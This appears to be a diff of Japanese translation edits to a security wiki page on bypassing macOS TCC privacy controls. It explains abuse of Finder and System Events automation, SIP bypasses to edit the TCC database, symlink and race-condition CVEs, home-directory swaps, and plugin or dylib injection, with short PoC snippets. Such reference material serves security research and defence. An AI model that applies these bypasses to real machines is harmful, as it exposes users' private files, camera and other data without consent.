前述のように、**ファイルにアクセス付与するためにアプリにドラッグ&ドロップすることが可能です**。このアクセスは、いかなるTCCデータベースにも指定されませんが、**ファイルの拡張属性**として保存されます。この属性は、許可されたアプリの**UUID**を**保存します**。 前述のように、**ファイルをアプリにドラッグ&ドロップすることでアクセスを付与することが可能です**。このアクセスは、いかなるTCCデータベースにも指定されませんが、**ファイルの拡張属性**として保存されます。この属性は、許可されたアプリの**UUID**を**保存します**。
```bash ```bash
xattr Desktop/private.txt xattr Desktop/private.txt
com.apple.macl com.apple.macl
@ -254,7 +254,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
> >
> また、コンピュータ内のアプリの UUID を許可するファイルを別のコンピュータに移動すると、同じアプリが異なる UID を持つため、そのアプリへのアクセスは許可されません。 > また、コンピュータ内のアプリの UUID を許可するファイルを別のコンピュータに移動すると、同じアプリが異なる UID を持つため、そのアプリへのアクセスは許可されません。
拡張属性 `com.apple.macl`**SIP によって保護されているため**、他の拡張属性のように **クリアすることはできません**ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを **圧縮** し、**削除** し、**解凍** することで無効にすることが可能です。 拡張属性 `com.apple.macl`**SIP によって保護されているため**、他の拡張属性のように **クリアすることはできません**しかし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを **圧縮** し、**削除** し、**解凍** することで無効にすることが可能です。
## TCC Privesc & Bypasses ## TCC Privesc & Bypasses
@ -322,12 +322,12 @@ Appleイベントについては以下を参照してください
macos-apple-events.md macos-apple-events.md
{{#endref}} {{#endref}}
### Automation (Finder) to FDA\* ### 自動化FinderからFDA\*
Automation権限のTCC名は**`kTCCServiceAppleEvents`**\ 自動化権限のTCC名は**`kTCCServiceAppleEvents`**\
この特定のTCC権限は、TCCデータベース内で**管理できるアプリケーション**も示しています(したがって、権限はすべてを管理することを許可するわけではありません)。 この特定のTCC権限は、TCCデータベース内で**管理できるアプリケーション**も示しています(したがって、権限はすべてを管理することを許可するわけではありません)。
**Finder**は**常にFDAを持つアプリケーション**ですUIに表示されなくても。したがって、**Automation**権限を持っている場合、その権限を悪用して**いくつかのアクションを実行させる**ことができます。\ **Finder**は**常にFDAを持つ**アプリケーションですUIに表示されなくても。したがって、**Automation**権限を持っている場合、その権限を悪用して**いくつかのアクションを実行させる**ことができます。\
この場合、あなたのアプリは**`com.apple.Finder`**に対して**`kTCCServiceAppleEvents`**の権限が必要です。 この場合、あなたのアプリは**`com.apple.Finder`**に対して**`kTCCServiceAppleEvents`**の権限が必要です。
{{#tabs}} {{#tabs}}
@ -396,11 +396,11 @@ EOD
``` ```
</details> </details>
**Script Editorアプリ**も同様で、Finderを制御できますが、AppleScriptを使用してスクリプトを強制的に実行させることはできません。 **Script Editorアプリ**でも同様のことが起こります。Finderを制御できますが、AppleScriptを使用してスクリプトを強制的に実行させることはできません。
### Automation (SE) to some TCC ### Automation (SE) to some TCC
**System Eventsはフォルダーアクションを作成でき、フォルダーアクションは一部のTCCフォルダー**(デスクトップ、ドキュメント、ダウンロード)にアクセスできます。したがって、次のようなスクリプトを使用してこの動作を悪用することができます: **System Eventsはフォルダーアクションを作成でき、フォルダーアクションは一部のTCCフォルダーデスクトップ、ドキュメント、ダウンロードにアクセスできます。** したがって、次のようなスクリプトを使用してこの動作を悪用することができます:
```bash ```bash
# Create script to execute with the action # Create script to execute with the action
cat > "/tmp/script.js" <<EOD cat > "/tmp/script.js" <<EOD
@ -494,38 +494,38 @@ EOF
``` ```
### `kTCCServiceAccessibility` to FDA\* ### `kTCCServiceAccessibility` to FDA\*
このページで、**アクセシビリティ権限を悪用するためのペイロード**を確認してください [**payloads to abuse the Accessibility permissions**](macos-tcc-payloads.md#accessibility) FDA\* への特権昇格や、例えばキーロガーを実行するためのものです。 このページで、**アクセシビリティ権限を悪用するためのペイロード**を確認してくださいmacos-tcc-payloads.md#accessibilityFDA\*に昇格させたり、キーロガーを実行したりするためのものです。
### **Endpoint Security Client to FDA** ### **エンドポイントセキュリティクライアントからFDAへ**
**`kTCCServiceEndpointSecurityClient`** を持っている場合、あなたは FDA を持っています。終了。 **`kTCCServiceEndpointSecurityClient`**を持っている場合、あなたはFDAを持っています。終了。
### System Policy SysAdmin File to FDA ### システムポリシーSysAdminファイルからFDAへ
**`kTCCServiceSystemPolicySysAdminFiles`** は、ユーザーのホームフォルダを変更する **`NFSHomeDirectory`** 属性を **変更** することを許可し、したがって **TCCをバイパス** することを可能にします。 **`kTCCServiceSystemPolicySysAdminFiles`**は、ユーザーの**`NFSHomeDirectory`**属性を**変更**することを許可し、これによりホームフォルダを変更し、**TCCをバイパス**することができます。
### User TCC DB to FDA ### ユーザーTCC DBからFDAへ
**ユーザー TCC** データベースに対する **書き込み権限** を取得すると、あなたは **`FDA`** 権限を自分に与えることはできません。システムデータベースに存在する者だけがそれを付与できます。 **ユーザーTCC**データベースに対する**書き込み権限**を取得しても、**`FDA`**権限を自分に付与することはできません。システムデータベースに存在する者だけがそれを付与できます。
しかし、あなたは **`Finderへの自動化権限`** を与えることができ、前述の技術を悪用して FDA\* に昇格することができます。 しかし、**`Finderへの自動化権限`**を自分に与え、前述の技術を悪用してFDA\*に昇格することはできます。
### **FDA to TCC permissions** ### **FDAからTCC権限へ**
**フルディスクアクセス** TCC 名は **`kTCCServiceSystemPolicyAllFiles`** です。 **フルディスクアクセス**のTCC名は**`kTCCServiceSystemPolicyAllFiles`**です。
これは実際の権昇格ではないと思いますが、もし役立つ場合に備えて: FDA を制御するプログラムがある場合、**ユーザーの TCC データベースを変更し、任意のアクセスを自分に与えることができます**。これは、FDA 権限を失う可能性がある場合の持続技術として役立つかもしれません。 これは実際の権昇格ではないと思いますが、もし役立つ場合に備えてFDAを持つプログラムを制御している場合、**ユーザーのTCCデータベースを変更し、任意のアクセスを自分に与えることができます**。これは、FDA権限を失う可能性がある場合の持続技術として役立つかもしれません。
### **SIP Bypass to TCC Bypass** ### **SIPバイパスからTCCバイパスへ**
システム **TCC データベース****SIP** によって保護されているため、**指定された権利を持つプロセスのみがそれを変更できる** のです。したがって、攻撃者が **ファイル** に対する **SIP バイパス** を見つけた場合SIP によって制限されたファイルを変更できる場合)、彼は以下のことができます: システムの**TCCデータベース**は**SIP**によって保護されているため、**指定された権利を持つプロセスのみがそれを変更できる**のです。したがって、攻撃者が**ファイルに対するSIPバイパス**を見つけた場合SIPによって制限されたファイルを変更できる場合、彼は以下のことができます
- **TCC データベースの保護を削除し、すべての TCC 権限を自分に与える**。例えば、これらのファイルのいずれかを悪用することができます: - TCCデータベースの保護を**削除**し、すべてのTCC権限を自分に与えることができます。例えば、これらのファイルのいずれかを悪用することができます:
- TCC システムデータベース - TCCシステムデータベース
- REG.db - REG.db
- MDMOverrides.plist - MDMOverrides.plist
しかし、**TCC をバイパスするための SIP バイパス** を悪用する別のオプションがあります。ファイル `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` は、TCC 例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルから **SIP 保護を削除** し、**自分のアプリケーション** を追加できれば、そのアプリケーションは TCC をバイパスできるようになります。\ しかし、**TCCをバイパスするためのSIPバイパス**を悪用する別のオプションがあります。ファイル`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`は、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルから**SIP保護を削除**し、**自分のアプリケーション**を追加できれば、そのアプリケーションはTCCをバイパスできるようになります。\
例えば、ターミナルを追加するために: 例えば、ターミナルを追加するために:
```bash ```bash
# Get needed info # Get needed info

View File

@ -13,7 +13,7 @@ mina デーモンは `/System/Library/CoreServices/appleeventsd` で、サービ
サンドボックス化されたアプリケーションは、イベントを送信できるようにするために `allow appleevent-send``(allow mach-lookup (global-name "com.apple.coreservices.appleevents))` のような権限が必要です。`com.apple.security.temporary-exception.apple-events` のような権限は、イベントを送信するアクセスを制限する可能性があり、`com.apple.private.appleevents` のような権限が必要になります。 サンドボックス化されたアプリケーションは、イベントを送信できるようにするために `allow appleevent-send``(allow mach-lookup (global-name "com.apple.coreservices.appleevents))` のような権限が必要です。`com.apple.security.temporary-exception.apple-events` のような権限は、イベントを送信するアクセスを制限する可能性があり、`com.apple.private.appleevents` のような権限が必要になります。
> [!TIP] > [!TIP]
> メッセージ送信に関する情報をログに記録するために、env 変数 **`AEDebugSends`** を使用することが可能です: > 送信されたメッセージに関する情報をログに記録するために、env 変数 **`AEDebugSends`** を使用することが可能です:
> >
> ```bash > ```bash
> AEDebugSends=1 osascript -e 'tell application "iTerm" to activate' > AEDebugSends=1 osascript -e 'tell application "iTerm" to activate'

View File

@ -6,7 +6,7 @@
### 書き込みバイパス ### 書き込みバイパス
これはバイパスではなく、TCCの動作方法です: **書き込みから保護されていません**。ターミナルがユーザーのデスクトップを読み取るアクセス権を持っていなくても、**そこに書き込むことはできます**: これはバイパスではなく、TCCの動作方法です: **書き込みから保護されていません**。ターミナルが**ユーザーのデスクトップを読み取るアクセス権を持っていなくても、そこに書き込むことができます**:
```shell-session ```shell-session
username@hostname ~ % ls Desktop username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted ls: Desktop: Operation not permitted
@ -20,13 +20,13 @@ asd
### TCC ClickJacking ### TCC ClickJacking
**TCCプロンプトの上にウィンドウを置く** ことで、ユーザーが気づかずに **受け入れる** ことが可能です。PoCは [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** で見つけることができます。** **TCCプロンプトの上にウィンドウを置く** ことで、ユーザーが気づかずに **受け入れる** ようにすることが可能です。PoCは [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** で見つけることができます。**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure> <figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### 任意の名前によるTCCリクエスト ### 任意の名前によるTCCリクエスト
攻撃者は **任意の名前** (例: Finder, Google Chrome...) のアプリを **`Info.plist`** に作成し、TCCで保護された場所へのアクセスを要求させることができます。ユーザーは、正当なアプリケーションがこのアクセスを要求していると思うでしょう。\ 攻撃者は **任意の名前** (例: Finder, Google Chrome...) のアプリを **`Info.plist`** に作成し、TCCで保護された場所へのアクセスをリクエストさせることができます。ユーザーは、正当なアプリケーションがこのアクセスを要求していると思うでしょう。\
さらに、**正当なアプリをDockから削除し、偽のアプリをその上に置く** ことが可能です。ユーザーが偽のアプリ同じアイコンを使用できるをクリックすると、正当なアプリを呼び出し、TCCの権限を要求し、マルウェアを実行させ、正当なアプリがアクセスを要求したと信じ込ませることができます。 さらに、**正当なアプリをDockから削除し、偽のアプリをその上に置く** ことが可能です。ユーザーが偽のアプリ同じアイコンを使用できるをクリックすると、正当なアプリを呼び出し、TCCの権限を要求し、マルウェアを実行させ、正当なアプリがアクセスを要求したと信じ込ませることができます。
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -52,15 +52,15 @@ asd
### ハンドル拡張 - CVE-2022-26767 ### ハンドル拡張 - CVE-2022-26767
属性 **`com.apple.macl`** はファイルに与えられ、**特定のアプリケーションに読み取る権限を与えます。** この属性は、**ドラッグ&ドロップ** でファイルをアプリに移動したとき、またはユーザーが **ダブルクリック** して **デフォルトアプリケーション** でファイルを開くときに設定されます。 属性 **`com.apple.macl`** はファイルに与えられ、**特定のアプリケーションにそれを読む権限を与えます。** この属性は、**ドラッグ&ドロップ** でファイルをアプリに移動させるか、ユーザーが **ダブルクリック** して **デフォルトアプリケーション** でファイルを開くと設定されます。
したがって、ユーザーは **悪意のあるアプリを登録** してすべての拡張子を処理、Launch Servicesを呼び出して **任意のファイルを開く** ことができます(そのため、悪意のあるファイルは読み取るアクセスを与えられます)。 したがって、ユーザーは **悪意のあるアプリを登録** してすべての拡張子を処理させ、Launch Servicesを呼び出して **任意のファイルを開く** ことができます(そのため、悪意のあるファイルは読み取るアクセスを与えられます)。
### iCloud ### iCloud
権限 **`com.apple.private.icloud-account-access`** により、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能で、**iCloudトークン** を提供します。 権限 **`com.apple.private.icloud-account-access`** により、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能で、**iCloudトークン** を提供します。
**iMovie** と **Garageband** はこの権限を持っており、他のアプリも許可されていました。 **iMovie** と **Garageband** はこの権限を持っており、他の権限も許可されていました。
この権限から **iCloudトークンを取得するためのエクスプロイト** に関する詳細情報は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) この権限から **iCloudトークンを取得するためのエクスプロイト** に関する詳細情報は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
@ -80,7 +80,7 @@ macos-apple-scripts.md
#### iTerm上で #### iTerm上で
フルディスクアクセスを持たないTerminalは、フルディスクアクセスを持つiTermを呼び出し、それを使用してアクションを実行できます FDAを持たないTerminalは、FDAを持つiTermを呼び出し、それを使用してアクションを実行できます
```applescript:iterm.script ```applescript:iterm.script
tell application "iTerm" tell application "iTerm"
activate activate
@ -96,7 +96,7 @@ end tell
```bash ```bash
osascript iterm.script osascript iterm.script
``` ```
#### Finderを介して #### Over Finder
または、アプリがFinderにアクセスできる場合、次のようなスクリプトを使用できます: または、アプリがFinderにアクセスできる場合、次のようなスクリプトを使用できます:
```applescript ```applescript
@ -153,7 +153,7 @@ $> ls ~/Documents
バイナリ`/usr/libexec/lsd`はライブラリ`libsecurity_translocate`を持ち、権限`com.apple.private.nullfs_allow`があり、**nullfs**マウントを作成でき、権限`com.apple.private.tcc.allow`があり、**`kTCCServiceSystemPolicyAllFiles`**を使用してすべてのファイルにアクセスできました。 バイナリ`/usr/libexec/lsd`はライブラリ`libsecurity_translocate`を持ち、権限`com.apple.private.nullfs_allow`があり、**nullfs**マウントを作成でき、権限`com.apple.private.tcc.allow`があり、**`kTCCServiceSystemPolicyAllFiles`**を使用してすべてのファイルにアクセスできました。
「Library」にクアランティン属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことが可能で、その後Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマッピングし、Library内のすべてのドキュメントに**アクセス**できるようになりました。 「Library」にクアランティン属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことが可能で、その後Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマッピングし、Library内のすべてのドキュメントに**アクセス**できました。
### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a> ### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
@ -166,8 +166,8 @@ $> ls ~/Documents
### SQLITE_SQLLOG_DIR - CVE-2023-32422 ### SQLITE_SQLLOG_DIR - CVE-2023-32422
**`SQLITE_SQLLOG_DIR="path/folder"`**は基本的に**開いている任意のデータベースがそのパスにコピーされる**ことを意味します。このCVEでは、この制御が悪用され、**SQLiteデータベース**内に**書き込まれ**、そのデータベースがFDAのTCCデータベースによって**開かれるプロセス**によって**開かれる**ことがあり、**`SQLITE_SQLLOG_DIR`**を**ファイル名のシンボリックリンク**で悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されます。\ **`SQLITE_SQLLOG_DIR="path/folder"`**は基本的に**開いているdbがそのパスにコピーされる**ことを意味します。このCVEでは、この制御が悪用され、**SQLiteデータベース**内に**書き込まれ**、そのデータベースがFDAのTCCデータベースで**開かれるプロセス**によって**開かれる**ことになり、**`SQLITE_SQLLOG_DIR`**を**ファイル名のシンボリックリンク**で悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されます。\
**詳細情報** [**書き込みに関して**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および** [**トークに関して**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。 **詳細情報** [**書き込みにて**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および** [**トークにて**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
### **SQLITE_AUTO_TRACE** ### **SQLITE_AUTO_TRACE**
@ -184,32 +184,32 @@ launchctl setenv SQLITE_AUTO_TRACE 1
次のように設定します: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"``path`が有効なディレクトリであれば、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを確認できます: 次のように設定します: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"``path`が有効なディレクトリであれば、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを確認できます:
- `open()`されるファイルは`path/.dat.nosyncXXXX.XXXXXX`Xはランダム呼ばれます - `path/.dat.nosyncXXXX.XXXXXX`Xはランダムいう名前のファイルが`open()`されます。
- 1つ以上の`write()`がファイルに内容を書き込みます(これを制御することはできません) - 1つ以上の`write()`がファイルに内容を書き込みます(これを制御することはできません)
- `path/.dat.nosyncXXXX.XXXXXX``path/name``renamed()`されます - `path/.dat.nosyncXXXX.XXXXXX``path/name``renamed()`されます
これは一時ファイルの書き込みであり、その後に**`rename(old, new)`**が**安全ではありません。** これは一時ファイルの書き込みであり、その後に**`rename(old, new)`**が**安全ではありません。**
安全ではない理由は、**古いパスと新しいパスを別々に解決する必要があるため**、これには時間がかかる可能性があり、レースコンディションに対して脆弱です。詳細については、`xnu`関数`renameat_internal()`を確認できます。 安全ではない理由は、**古いパスと新しいパスを別々に解決する必要があるため**、これには時間がかかる可能性があり、レースコンディションに対して脆弱です。詳細については、`xnu`関数`renameat_internal()`を確認できます。
> [!CAUTION] > [!CAUTION]
> 基本的に、特権プロセスがあなたが制御するフォルダから名前を変更している場合、RCEを獲得し、特権アプリが作成したファイルにアクセスさせたり、このCVEのようにファイルディスクリプタを保存することができます。 > 基本的に、特権プロセスがあなたが制御するフォルダから名前を変更している場合、RCEを獲得し、異なるファイルにアクセスさせることができるか、またはこのCVEのように、特権アプリが作成したファイルを開いてFDを保存することができます。
> >
> 名前変更があなたが制御するフォルダにアクセスする場合、ソースファイルを変更したり、そのファイルにFDを持っている間に、宛先ファイルまたはフォルダをシンボリックリンクを指すように変更することで、いつでも書き込むことができます。 > 名前変更があなたが制御するフォルダにアクセスする場合、ソースファイルを変更したり、FDを持っている間に、宛先ファイルまたはフォルダをシンボリックリンクを指すように変更することで、いつでも書き込むことができます。
これがCVEでの攻撃でしたたとえば、ユーザーの`TCC.db`を上書きするために、次のことができます: これがCVEでの攻撃でしたたとえば、ユーザーの`TCC.db`を上書きするために、次のことができます:
- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします - `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします
- ディレクトリ`/Users/hacker/tmp/`を作成します - ディレクトリ`/Users/hacker/tmp/`を作成します
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します - `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します
- このenv変数`Music`を実行してバグをトリガーします - このenv変数を使用して`Music`を実行してバグをトリガーします
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX``open()`をキャッチしますXはランダム - `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`Xはランダム`open()`をキャッチします。
- ここで、このファイルをライティング用に`open()`し、ファイルディスクリプタを保持します - ここで、このファイルをライティング用に`open()`し、ファイルディスクリプタを保持します
- `/Users/hacker/tmp``/Users/hacker/ourlink`と**ループ内で原子的に切り替えます** - `/Users/hacker/tmp``/Users/hacker/ourlink`と**ループ内で原子的に切り替えます**
- レースウィンドウが非常に狭いため、成功の可能性を最大化するためにこれを行いますが、レースに負けることのデメリットはほとんどありません - レースウィンドウが非常に狭いため、成功の可能性を最大化するためにこれを行いますが、レースに負けることのデメリットはほとんどありません
- 少し待ちます - 少し待ちます
- 運が良かったかテストします - 運が良かったかテストします
- そうでなければ、最初から再実行します - そうでなければ、最初から再実行します
詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)を確認してください。 詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)を確認してください。
@ -237,14 +237,14 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して
**最初のPOC**は、[**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)と[**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して、ユーザーの**HOME**フォルダを変更します。 **最初のPOC**は、[**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)と[**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して、ユーザーの**HOME**フォルダを変更します。
1. ターゲットアプリの_csreq_ブロブを取得します。 1. ターゲットアプリの_csreq_ブロブを取得します。
2. 必要なアクセスと_csreq_ブロブを持つ偽の_TCC.db_ファイルを植え付けます。 2. 必要なアクセスと_csreq_ブロブを持つ偽の_TCC.db_ファイルを設置します。
3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)を使用してユーザーのディレクトリサービスエントリをエクスポートします。 3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)を使用してユーザーのディレクトリサービスエントリをエクスポートします。
4. ユーザーのホームディレクトリを変更するためにディレクトリサービスエントリを修正します。 4. ユーザーのホームディレクトリを変更するためにディレクトリサービスエントリを修正します。
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して修正されたディレクトリサービスエントリをインポートします。 5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して修正されたディレクトリサービスエントリをインポートします。
6. ユーザーの_tccd_を停止し、プロセスを再起動します。 6. ユーザーの_tccd_を停止し、プロセスを再起動します。
2番目のPOCは、`/usr/libexec/configd`を使用し、`com.apple.private.tcc.allow``kTCCServiceSystemPolicySysAdminFiles`の値がありました。\ 2番目のPOCは、`/usr/libexec/configd`を使用し、`com.apple.private.tcc.allow``kTCCServiceSystemPolicySysAdminFiles`の値がありました。\
**`-t`**オプションで**`configd`**を実行することが可能で、攻撃者は**カスタムバンドルをロード**することを指定できました。したがって、エクスプロイトはユーザーのホームディレクトリを変更するための**`dsexport`**および**`dsimport`**メソッドを**`configd`コードインジェクション**に置き換えます。 **`-t`**オプションで**`configd`**を実行することが可能で、攻撃者は**カスタムバンドルをロード**することできました。したがって、エクスプロイトはユーザーのホームディレクトリを変更するための**`dsexport`**および**`dsimport`**メソッドを**`configd`コードインジェクション**に置き換えます。
詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を確認してください。 詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を確認してください。
@ -257,21 +257,21 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して
{{#endref}} {{#endref}}
さらに、TCCをバイパスするために見つかった最も一般的なプロセスインジェクションは**プラグイン(ライブラリをロード)**です。\ さらに、TCCをバイパスするために見つかった最も一般的なプロセスインジェクションは**プラグイン(ライブラリをロード)**です。\
プラグインは通常、ライブラリやplistの形での追加コードであり、**メインアプリケーションによってロードされ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセス権を持っている場合付与された権限または権利を介して)、**カスタムコードもそれを持つことになります**。 プラグインは通常、ライブラリやplistの形での追加コードであり、**メインアプリケーションによってロードされ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセス権を持っている場合付与された権限または権利によって)、**カスタムコードもそれを持つことになります**。
### CVE-2020-27937 - Directory Utility ### CVE-2020-27937 - Directory Utility
アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、権限**`kTCCServiceSystemPolicySysAdminFiles`**を持ち、**`.daplug`**拡張子のプラグインをロードし、**ハードンされた**ランタイムを持っていませんでした。 アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、権限**`kTCCServiceSystemPolicySysAdminFiles`**を持ち、**`.daplug`**拡張子のプラグインをロードし、**ハードンされた**ランタイムを持っていませんでした。
このCVEを武器化するために、**`NFSHomeDirectory`**が**変更され**(前の権限を悪用して、ユーザーのTCCデータベースを引き継ぐことができるようにします。 このCVEを武器化するために、**`NFSHomeDirectory`**が**変更され**前の権限を悪用して、ユーザーのTCCデータベースを**引き継ぐ**ことができるようになります。
詳細については、[**元の報告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)を確認してください。 詳細については、[**元の報告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)を確認してください。
### CVE-2020-29621 - Coreaudiod ### CVE-2020-29621 - Coreaudiod
バイナリ**`/usr/sbin/coreaudiod`**は、権限`com.apple.security.cs.disable-library-validation``com.apple.private.tcc.manager`を持っていました。最初の**コードインジェクションを許可**し、2番目は**TCCを管理する**アクセスを与えました。 バイナリ**`/usr/sbin/coreaudiod`**は、権限`com.apple.security.cs.disable-library-validation``com.apple.private.tcc.manager`を持っていました。最初のものは**コードインジェクションを許可**し、2番目は**TCCを管理する**アクセスを与えました。
このバイナリは、フォルダ`/Library/Audio/Plug-Ins/HAL`から**サードパーティプラグイン**をロードすることを許可しました。したがって、次のPoCを使用して**プラグインをロードし、TCC権限を悪用する**ことが可能でした: このバイナリは、フォルダ`/Library/Audio/Plug-Ins/HAL`から**サードパーティプラグインをロード**することを許可しました。したがって、プラグインを**ロードし、TCC権限を悪用する**ことが可能でした。このPoC
```objectivec ```objectivec
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
#import <Security/Security.h> #import <Security/Security.h>
@ -336,15 +336,15 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict> </dict>
</plist> </plist>
``` ```
さらなる情報については、[**元のレポートを確認してください**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。 詳細については、[**元のレポートを確認してください**](https://wojciechregula.blog/post/how-to-rob-a-firefox/)。
### CVE-2020-10006 ### CVE-2020-10006
バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl`、**`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限を持っており、プロセス内にコードを注入し、TCCの権限を使用することができました。 バイナリ `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` **`com.apple.private.tcc.allow`** と **`com.apple.security.get-task-allow`** の権限を持っており、プロセス内にコードを注入し、TCCの権限を使用することができました。
### CVE-2023-26818 - Telegram ### CVE-2023-26818 - Telegram
Telegram は **`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限を持っていたため、カメラでの録画などの**権限にアクセスするために悪用することが可能でした**。ペイロードは[**この書き込みで見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。 Telegram は **`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限を持っていたため、カメラでの録画などの**権限にアクセスする**ために悪用することが可能でした。ペイロードは[**書き込みにあります**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
環境変数を使用してライブラリをロードする方法に注意してください。**カスタム plist** が作成され、このライブラリを注入するために **`launchctl`** が使用されました: 環境変数を使用してライブラリをロードする方法に注意してください。**カスタム plist** が作成され、このライブラリを注入するために **`launchctl`** が使用されました:
```xml ```xml
@ -382,7 +382,7 @@ launchctl load com.telegram.launcher.plist
### ターミナルスクリプト ### ターミナルスクリプト
技術者が使用するコンピュータでは、ターミナルに**フルディスクアクセス (FDA)**を与えることが一般的です。そして、それを使用して**`.terminal`**スクリプトを呼び出すことが可能です。 テクノロジーを使う人々が使用するコンピュータでは、ターミナルに**フルディスクアクセス (FDA)**を与えることが一般的です。そして、それを使用して**`.terminal`**スクリプトを呼び出すことが可能です。
